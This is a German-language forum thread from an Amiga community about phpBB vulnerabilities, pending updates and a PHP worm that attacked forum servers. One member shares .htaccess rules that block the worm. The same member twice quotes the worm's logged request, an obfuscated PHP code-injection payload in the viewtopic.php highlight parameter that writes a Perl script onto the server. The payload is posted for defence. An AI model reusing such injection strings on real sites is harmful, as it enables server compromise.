German Amiga Community

Das Forum hier ist soweit uch weiß auf dem aktuellen Stand, sprich 2.0.16, nur der Versions-Datenbankeintrag ist nicht geändert worden.

dort steht aber das nur user die sich beiträge mit ie angucken betroffen sind und da ie wohl kaum einer nutzt ist es ja nicht so schlimm...

Langsam wirds wirklich mal Zeit für ein phpBB-Update:
http://www.heise.de/newsticker/meldung/61794

Man muss ja nicht so lange mit dem Update warten, bis mal was passiert...

Ich guck mir das nachher mal an, danke :)

Wenns denn nur dieser eine Fix wär.
Es wären auch noch zwei andere Lücken zu schliessen, die in unserer Version 2.0.11 noch drin sind. Mal mit Retro darüber reden, wie wir das machen sollen...

Es ist mal wieder ein phpBB-Update fällig - siehe
http://www.heise.de/newsticker/meldung/56866

Zumindest den manuellen Fix für die kritische Lücke sollte man mal einbauen.

[quote="Birdy"]Da die meisten Suchmaschinen auf die robots.txt schauen, kannst Du mit der Datei schon mal verhindern, dass die grossen Suchmaschinen wie Google oder Yahoo die viewtopic.php indizieren. Somit kann die Datei nicht von dem Wurm gefunden werden. Allerdings übergehen einige Suchmaschinen diese Datei, also ist es eher kein 100%iger Schutz vor diesen dämlichen Krabbeltieren.

Ansonsten reicht es, wenn Du den Workaround in Dein Forum einbaust, der im phpBB-Forum zu finden ist [/quote]

Ich benutze ja gar kein phpBB :) Und der Wurm, den ich beschrieben habe, ist ein reiner PHP-Wurm, der mit dem CMS rein gar nichts zu tun hat.

Von rotots.txt halte ich überhaupt nichts, weil immer weniger Bots sich dran halten.

Da die meisten Suchmaschinen auf die robots.txt schauen, kannst Du mit der Datei schon mal verhindern, dass die grossen Suchmaschinen wie Google oder Yahoo die viewtopic.php indizieren. Somit kann die Datei nicht von dem Wurm gefunden werden. Allerdings übergehen einige Suchmaschinen diese Datei, also ist es eher kein 100%iger Schutz vor diesen dämlichen Krabbeltieren.

Ansonsten reicht es, wenn Du den Workaround in Dein Forum einbaust, der im phpBB-Forum zu finden ist [url=http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513]-> klicksch Du[/url]
Version 2.0.11 vom phpBB2 installieren ist natürlich die sicherste aller Möglichkeiten - sollte man vielleicht auch hier tun...

Nur mal so zur Info:

Heute wurde mein Server von diesem neuen PHP-Wurm (nicht der phpBB) angegriffen.

Die Einträge in der .htaccess wie ich weiter oben beschrieben habe (allerdings auf den neuen Wurm abgewandelt), haben den Angreifer erfolgreich abgewehrt! :bounce:

        RewriteEngine On
        RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]
        RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)
        RewriteRule ^.*$                                -               [F] 

"GET
/viewtopic.php?p=9002&sid=f5
399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efwrite(fopen(chr(109)%252echr
(49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102),chr(97)),ch
r(35)%252echr(33)%252echr(47)%252echr(117)%252echr(115)%252echr(114)%252echr(47)
%252echr(98)%252echr(105)%252echr(110)%252echr(47)%252echr(112)%252echr(101)%252
echr(114)%252echr(108)%252echr(10)%252echr(117)%252echr(115)%252echr(101)%252ech
r(32)),exit%252e%2527 HTTP/1.0" 200 13648 "http://forum.CLIENT SITE
OMITTED.com/
viewtopic.php?p=9002&sid=f5399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efw
rite(fopen(chr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252echr(11
1)%252echr(102),chr(97)),chr(35)%252echr(33)%252echr(47)%252echr(117)%252echr(11
5)%252echr(114)%252echr(47)%252echr(98)%252echr(105)%252echr(110)%252echr(47)%25
2echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(10)%252echr(117)%252ec
hr(115)%252echr(101)%252echr(32)),exit%252e%2527" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1)" 

Falls es jemanden interessiert:

Man kann sich vor dem Wurm schützen, indem man folgendes in die .htaccess einträgt:

[code]
RewriteEngine On
RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]
RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)
RewriteRule ^.*$ - [F]
[/code]

Und hier der Quelltext des Wurms:

[code]
"GET
/viewtopic.php?p=9002&sid=f5
399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efwrite(fopen(chr(109)%252echr
(49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102),chr(97)),ch
r(35)%252echr(33)%252echr(47)%252echr(117)%252echr(115)%252echr(114)%252echr(47)
%252echr(98)%252echr(105)%252echr(110)%252echr(47)%252echr(112)%252echr(101)%252
echr(114)%252echr(108)%252echr(10)%252echr(117)%252echr(115)%252echr(101)%252ech
r(32)),exit%252e%2527 HTTP/1.0" 200 13648 "http://forum.CLIENT SITE
OMITTED.com/
viewtopic.php?p=9002&sid=f5399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efw
rite(fopen(chr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252echr(11
1)%252echr(102),chr(97)),chr(35)%252echr(33)%252echr(47)%252echr(117)%252echr(11
5)%252echr(114)%252echr(47)%252echr(98)%252echr(105)%252echr(110)%252echr(47)%25
2echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(10)%252echr(117)%252ec
hr(115)%252echr(101)%252echr(32)),exit%252e%2527" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1)"
[/code]

Ich finds einfach nur traurig daß sowas überhaupt passiert.

Die Schuld muß man dabei aber bei beiden suchen.
Zum ersten bei denen, die solche Würmer schreiben, aber auch bei den sogenannten Webmastern, die den Sicherheitsaspekt einfach schlabbern.

Sicher gibt es keinen 100%igen Schutz vor allem, aber wenn ein Webmaster noch nichtmal die bekannten Lücken schließt ist er es irgendwo selber schuld, oder?

http://www.c16.de hat´s z.B. erwischt.....

Betrifft eh nur "Webmaster" die zu faul/böd waren URL-Rewriting zu aktivieren......

Ist bekannt, trotzdem danke :)

Im Moment betrifft uns dieser Wurm nicht, da Google die viewtopic.php von diesem Board nicht indiziert hat. Also kann der Wurm dieses Board nicht finden.

Vielleicht ist das für Interesse.

http://www.heise.de/newsticker/meldung/54550